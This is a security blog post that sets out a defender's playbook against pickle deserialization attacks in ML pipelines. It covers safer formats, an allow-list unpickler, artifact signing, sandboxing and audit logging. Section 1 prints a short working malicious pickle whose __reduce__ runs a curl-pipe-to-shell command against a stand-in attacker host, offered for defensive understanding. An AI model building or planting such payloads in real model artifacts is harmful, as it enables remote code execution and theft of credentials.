Security

Pickle Deserialization in ML Pipelines: A Defender's Playbook

Published May 2026 · 13 min read

If your ML pipeline calls pickle.load() on a file from S3, GCS, an artifact registry, or a colleague's laptop, you have given that file the ability to execute arbitrary code in your process — with whatever privileges that process has. Network access. Cloud credentials. The training database. Production secrets. The Python documentation has said this in plain English for over a decade: "Never unpickle data received from an untrusted or unauthenticated source." ML teams ignore that sentence every day.

This post is a defender's playbook for the pickle attack surface in ML systems. It's narrower than a general ML-security post: we are only talking about deserialization. The threat model is concrete. The controls are practical. Most teams can deploy them in a sprint.

Scope: we focus on Python pickle and the equivalents (joblib, cloudpickle, dill, torch.save, numpy.load(allow_pickle=True)). All of these have the same fundamental property — they can construct arbitrary objects on load — and they all need the same defensive mindset.

1. The Threat: Why Pickle Is RCE-by-Design

Pickle isn't a data format. It's a small stack-based bytecode language with opcodes for "construct this object" and "call this callable with these arguments." When you load a pickle, the interpreter is running a program. A malicious pickle is just a program written by an attacker.

The textbook payload is six lines. We're showing it for defensive understanding, not enablement — the same construction has been in security training for fifteen years.

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl https://attacker.example/exfil.sh | sh",))

with open("model.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

That file looks like any other model artifact. Drop it into your S3 bucket, replace the legitimate model.pkl, wait. The next CI job that calls pickle.load() on it will execute the attacker's command with whatever permissions the runner has. In a typical ML pipeline, that includes:

One swapped file in a shared bucket compromises the whole training pipeline. This is not theoretical — pickle backdoors have been used to ship cryptominers, ransomware, and credential stealers through model marketplaces and public registries.

2. Threat Model: Who Can Replace Your Artifact?

The defensive question isn't "could pickle be exploited" (yes) but "who can write to the source we deserialize from." Common answers:

SourceRealistic write authority
S3/GCS bucket shared across teamAnyone with bucket write — often broad
Public model registries (HuggingFace, etc.)Any registered user. Always treat as untrusted.
Internal MLflow tracking serverAnyone who can submit a training run
Git LFS in a shared repoAny committer. Include CI bots if they write artifacts.
Engineer's laptop → productionAnyone who phishes that engineer

The pattern: in ML the "trusted" surface is much wider than in traditional software. A single compromised laptop or a single registry account is enough. Treat pickle as a payload-delivery vehicle and design controls accordingly.

3. The First Control: Don't Use Pickle When You Don't Have To

Most ML weight files don't need pickle's full object-graph capability. They need a tensor dump and a config. Use a format that can't execute code:

FormatCode execution on load?Use for
safetensorsNoNeural network weights (PyTorch / TF / JAX)
ONNXNo (parsing only)Cross-framework deployment
numpy .npz with allow_pickle=FalseNoPlain ndarrays
parquet / arrowNoTabular data, calibration tables
JSON / msgpackNoConfig, hyperparameters, metadata
pickle / joblib / torch.save defaultYesAvoid where possible

For sklearn estimators, the standard advice has been "use joblib." Joblib is pickle under the hood — same RCE primitive. The newer skops library provides a restricted-format alternative for sklearn pipelines that explicitly enumerates the types it will load, with everything else rejected. For PyTorch, set torch.load(weights_only=True) (default in newer versions); it uses a restricted unpickler internally.

If you only do one thing, switch your weight format to safetensors and restrict everything else to a small whitelist. The remaining items in this playbook are defense in depth for the artifacts you can't migrate.

4. Restricted Unpickler: Whitelist Allowed Classes

When you must load a pickle, override pickle.Unpickler.find_class to allow only specific (module, name) pairs. Anything outside the whitelist raises and the load aborts.

import pickle
import io

ALLOWED = {
    ("numpy", "ndarray"),
    ("numpy", "dtype"),
    ("numpy.core.multiarray", "_reconstruct"),
    ("sklearn.linear_model._logistic", "LogisticRegression"),
    ("sklearn.isotonic", "IsotonicRegression"),
    ("xgboost.sklearn", "XGBClassifier"),
}


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (module, name) not in ALLOWED:
            raise pickle.UnpicklingError(
                f"Refused: {module}.{name} not in allow-list"
            )
        return super().find_class(module, name)


def safe_load(path: str):
    with open(path, "rb") as f:
        return RestrictedUnpickler(io.BytesIO(f.read())).load()

This breaks the textbook payload (it tries to import os.system, which isn't on the list). The whitelist needs to be maintained per project — sklearn version upgrades sometimes shuffle internal class paths — but the maintenance is small relative to the protection.

The catch: a determined attacker who knows your whitelist can sometimes construct a malicious payload using only allowed classes (gadgets). The whitelist is a strong barrier against drive-by exploits but not a hermetic seal. Pair it with the next two controls.

5. Sign Artifacts at Publish Time, Verify at Load Time

The integrity question — "did the bytes I'm about to load come from a trusted publisher" — is exactly what package signing solves. Two practical options:

Option A: detached SHA-256 + signed manifest

# Publishing side: write a signed manifest beside each artifact
import hashlib, json, subprocess
from pathlib import Path

def publish(artifact_path: Path, signing_key: str):
    h = hashlib.sha256(artifact_path.read_bytes()).hexdigest()
    manifest = {
        "artifact": artifact_path.name,
        "sha256": h,
        "published_at": "2026-05-05T12:00:00Z",
        "publisher": "ml-platform-ci",
        "version": artifact_path.parent.name,
    }
    manifest_path = artifact_path.with_suffix(artifact_path.suffix + ".manifest.json")
    manifest_path.write_text(json.dumps(manifest, indent=2))
    subprocess.run(
        ["minisign", "-Sm", str(manifest_path), "-s", signing_key],
        check=True,
    )
# Loading side: refuse to load anything without a valid signed manifest
def verified_load(artifact_path: Path, public_key: str):
    manifest_path = artifact_path.with_suffix(artifact_path.suffix + ".manifest.json")
    sig_path = manifest_path.with_suffix(manifest_path.suffix + ".minisig")

    if not (manifest_path.exists() and sig_path.exists()):
        raise PermissionError(f"Missing manifest/sig for {artifact_path}")

    subprocess.run(
        ["minisign", "-Vm", str(manifest_path), "-p", public_key],
        check=True,
    )

    manifest = json.loads(manifest_path.read_text())
    actual = hashlib.sha256(artifact_path.read_bytes()).hexdigest()
    if actual != manifest["sha256"]:
        raise PermissionError(f"Hash mismatch for {artifact_path.name}")

    return safe_load(artifact_path)        # the restricted unpickler

Option B: cosign against a transparency log

If your artifacts live in an OCI registry, sign them with cosign sign and require cosign verify against the Sigstore Rekor transparency log on load. Verifications are publicly auditable. This is the same primitive used to sign container images and is increasingly the right default for any artifact ecosystem.

Anti-pattern: verifying a hash against a value stored in the same bucket as the artifact. If the attacker can write the artifact, they can write the hash. The signature must come from a key the attacker doesn't control, distributed out-of-band.

6. Sandbox the Load

Even with whitelisting and signing, a defense-in-depth move is to run the deserialization in a process with the smallest possible privileges. Three levels, ordered by ease of adoption:

  1. Drop network and credentials. Run the load step in a subprocess with NETWORK_DISABLED=1, no AWS/GCP credentials in the environment, no metadata endpoint reachable. If the pickle tries to curl something, it fails. If it tries to read a credential file, the file isn't there.
  2. Read-only filesystem. Mount the model directory read-only. The deserialization completes successfully or it doesn't, but it can't write a backdoor or persist.
  3. seccomp-bpf or gVisor. If you're running on Linux, restrict the syscall surface to the minimum needed for tensor allocation. This is the strongest barrier and the most operationally annoying. Worth it for high-trust pipelines.

The pattern: assume the load is going to execute an attacker payload, and design the environment so that even successful execution doesn't get them anywhere useful. This is the same posture you'd take for any process that handles untrusted input.

7. Version Lock the Deserialization Stack

A separate class of pickle bug: a model trained on sklearn 1.5 cannot necessarily be loaded by sklearn 1.8 without errors, and the failure mode is sometimes silent (object loaded but with stale attributes, attribute-error on first prediction, broken calibration). Version drift between training and inference is a reliability bug; from a security angle, it's also the reason "the load suddenly started failing" alerts get muted, hiding real attacks.

Lock the major libraries in your inference image to exact versions matching training:

# inference-requirements.txt
scikit-learn==1.8.0
xgboost==2.1.2
numpy==1.26.4
joblib==1.4.2

And include the version manifest in the model's signed metadata, so the load step can refuse a model trained against an older or newer stack:

def assert_version_match(manifest, current):
    expected = manifest.get("training_versions", {})
    for pkg, expected_ver in expected.items():
        actual_ver = current.get(pkg)
        if actual_ver != expected_ver:
            raise RuntimeError(
                f"{pkg} version mismatch: "
                f"manifest={expected_ver} runtime={actual_ver}"
            )

8. Audit Trail for Every Load

Forensics matter. When something does go wrong, you need to be able to answer: which model loaded? when? from which source? signed by whom? was the signature verified? did the version match? Log every load, append-only, off-host:

import json, time, socket
from pathlib import Path

AUDIT_LOG = Path("/var/log/ml/artifact_loads.jsonl")

def audit_load(artifact_path: Path, manifest: dict, verification_status: str):
    rec = {
        "ts": int(time.time()),
        "host": socket.gethostname(),
        "artifact": str(artifact_path),
        "sha256": manifest.get("sha256"),
        "publisher": manifest.get("publisher"),
        "verification": verification_status,
        "loader_pid": __import__("os").getpid(),
    }
    with AUDIT_LOG.open("a") as f:
        f.write(json.dumps(rec) + "\n")

Ship the log to immutable storage (S3 with object lock, or a SIEM). The threat is an attacker who tampers with the log to cover their tracks; immutable storage closes that loop.

9. CI/CD Hardening

If your build pipeline pulls a model from a registry and runs predictions to validate it, that pull-and-load is its own attack surface. Concrete hardening:

10. What Good Looks Like

A mature ML pipeline that takes pickle seriously will have all of the following:

  1. Most artifacts are not pickle — weights are in safetensors, config is JSON, calibration tables are parquet
  2. The remaining pickles load through a restricted unpickler with an explicit class allow-list
  3. Every artifact ships with a detached signature from a publisher key the loader trusts
  4. Loaders verify the signature before reading the bytes
  5. Loads run in a process without production credentials or unrestricted network
  6. Library versions are locked, manifests record the training stack, and version mismatch refuses the load
  7. An append-only audit log captures every load and ships to immutable storage
  8. CI pins by hash and re-verifies on every run

None of this is novel security engineering. It's the same hygiene a packaging team would have applied to .deb or .whl distribution twenty years ago. The fact that ML teams typically have none of it is a cultural artifact, not a technical limitation. Closing the gap is mostly a matter of writing it down and applying it.

Further Reading